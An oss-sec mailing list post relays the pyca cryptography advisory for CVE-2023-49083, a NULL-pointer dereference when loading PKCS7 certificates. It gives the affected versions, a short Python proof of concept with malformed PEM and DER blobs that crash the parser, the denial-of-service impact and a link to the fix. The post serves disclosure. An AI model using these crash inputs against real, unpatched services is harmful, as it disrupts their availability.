Python Cryptography advisory: CVE-2023-49083 NULL-dereference when loading PKCS7 certificates

                							

                <!--X-Body-Begin-->
<!--X-User-Header-->

oss-sec
mailing list archives
<!--X-User-Header-End-->
<!--X-TopPNI-->

By Date

By Thread

</form>

<!--X-TopPNI-End-->
<!--X-MsgBody-->
<!--X-Subject-Header-Begin-->
Python Cryptography advisory: CVE-2023-49083 NULL-dereference when loading PKCS7 certificates

<!--X-Subject-Header-End-->
<!--X-Head-of-Message-->

From: Alan Coopersmith &lt;alan.coopersmith () oracle com&gt;

Date: Wed, 29 Nov 2023 11:30:39 -0800

<!--X-Head-of-Message-End-->
<!--X-Head-Body-Sep-Begin-->

<!--X-Head-Body-Sep-End-->
<!--X-Body-of-Message-->
https://github.com/pyca/cryptography/security/advisories/GHSA-jfhm-5ghh-2f97
reports:

-------------------------------------------------------------------------------
Affected versions &gt;= 3.1, &lt; 41.0.6
Patched versions &gt;=41.0.6

Summary

Calling load_pem_pkcs7_certificates or load_der_pkcs7_certificates could lead to 
a NULL-pointer dereference and segfault.
PoC

Here is a Python code that triggers the issue:

from cryptography.hazmat.primitives.serialization.pkcs7 import 
load_der_pkcs7_certificates, load_pem_pkcs7_certificates

pem_p7 = b"""
-----BEGIN PKCS7-----
MAsGCSqGSIb3DQEHAg==
-----END PKCS7-----
"""

der_p7 = b"\x30\x0B\x06\x09\x2A\x86\x48\x86\xF7\x0D\x01\x07\x02"

load_pem_pkcs7_certificates(pem_p7)
load_der_pkcs7_certificates(der_p7)

Impact

Exploitation of this vulnerability poses a serious risk of Denial of Service 
(DoS) for any application attempting to deserialize a PKCS7 blob/certificate. 
The consequences extend to potential disruptions in system availability and 
stability.

-------------------------------------------------------------------------------

The fix was in https://github.com/pyca/cryptography/pull/9926

--
        -Alan Coopersmith-                 alan.coopersmith () oracle com
         Oracle Solaris Engineering - https://blogs.oracle.com/solaris

<!--X-Body-of-Message-End-->
<!--X-MsgBody-End-->
<!--X-Follow-Ups-->

<!--X-Follow-Ups-End-->
<!--X-References-->
<!--X-References-End-->
<!--X-BotPNI-->

By Date

By Thread

Current thread:

Python Cryptography advisory: CVE-2023-49083 NULL-dereference when loading PKCS7 certificates Alan Coopersmith (Nov 29)

<!--X-BotPNI-End-->
<!--X-User-Footer-->
<!--X-User-Footer-End-->